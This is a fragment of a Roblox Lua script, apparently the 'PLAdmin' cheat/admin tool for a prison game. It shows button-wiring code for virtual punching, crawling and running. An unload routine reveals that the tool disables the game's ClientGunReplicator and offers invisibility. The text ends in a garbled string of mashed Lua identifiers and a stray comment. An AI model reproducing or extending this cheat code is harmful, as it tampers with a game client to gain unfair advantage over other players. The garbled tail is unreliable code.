RunButton.Name = "RunButton"
RunButton.Parent = ActionFrame
RunButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
RunButton.BackgroundTransparency = 0.650
RunButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
RunButton.BorderSizePixel = 0
RunButton.Position = UDim2.new(0, 0, 0.668945849, 0)
RunButton.Size = UDim2.new(1, 0, 0.325925916, 0)
RunButton.Image = "http://www.roblox.com/asset/?id=4425413038"
UIAspectRatioConstraint_3.Parent = RunButton
UIAspectRatioConstraint_3.AspectRatio = 1.364
UIAspectRatioConstraint_4.Parent = ActionFrame
UIAspectRatioConstraint_4.AspectRatio = 0.444
CrawlButton.Position = PunchButton.Position --optional: swap punch and crawl
button
PunchButton.Position = UDim2.new(0, 0, 0.330000013, 0)
ACTIONFR.Visible = not LocPL.isMouse
ACTIONFR.PunchButton.MouseButton1Down:Connect(function()
States.IsHoldingF = true
pcall(VirtualPunch)
end)
ACTIONFR.PunchButton.MouseButton1Up:Connect(function()
States.IsHoldingF = false
end)
ACTIONFR.CrawlButton.MouseButton1Click:Connect(function()
VKeyPress("C", "Press")
end)
ACTIONFR.RunButton.MouseButton1Down:Connect(function()
States.Running = true
end)
ACTIONFR.RunButton.MouseButton1Up:Connect(function()
States.Running = false
LAction("speed", Saved.NormalSpeed)
end)
deprint("Debug_Startup done")
end)
--Unload script
UnloadScript = function()
Unloaded = true
for _, cons in next, Connections do
cons:Disconnect()
cons = nil
end
for _, Ccon in next, ChatCon do
Ccon:Disconnect()
Ccon = nil
end
ChatCon = nil
Connections = nil
Toggles.AutoRespawn = false
if States.Invisible then
States.Invisible = nil
Tasks.Refresh()
end
Loops = {}
Powers = {}
States = {}
Toggles = {}
Settings = { User = {}, Ranked = {} }
SavedArgs = {}
RankedPlrs = {}
Saved.TeamFrame:Destroy()
PLAdmin:Destroy()
Saved.PLINIT:Destroy()
Saved = { Thread = {} }
LocPL = {}
game.Players.LocalPlayer.PlayerScripts.ClientGunReplicator.Disabled = false
workspace:FindFirstChild("PLADMIN LOADED SUCCESS"):Destroy()
end
--Check gamepass
LocPL.Gamepass =
game:GetService("MarketplaceService"):UserOwnsGamePassAsync(LocalPlayer.UserId,
96651) or
game:GetService("MarketplaceService"):UserOwnsGamePassAsync(LocalPlayer.UserId,
643697197)
setmetatableJnPakdmtostringue_BdeUptableunpackFjgHFwFPunpackheFqljrSprinthYLhhdnbse
lectyeOSKZlnmathfloorsFYblFeE
might be useful but not sure
]]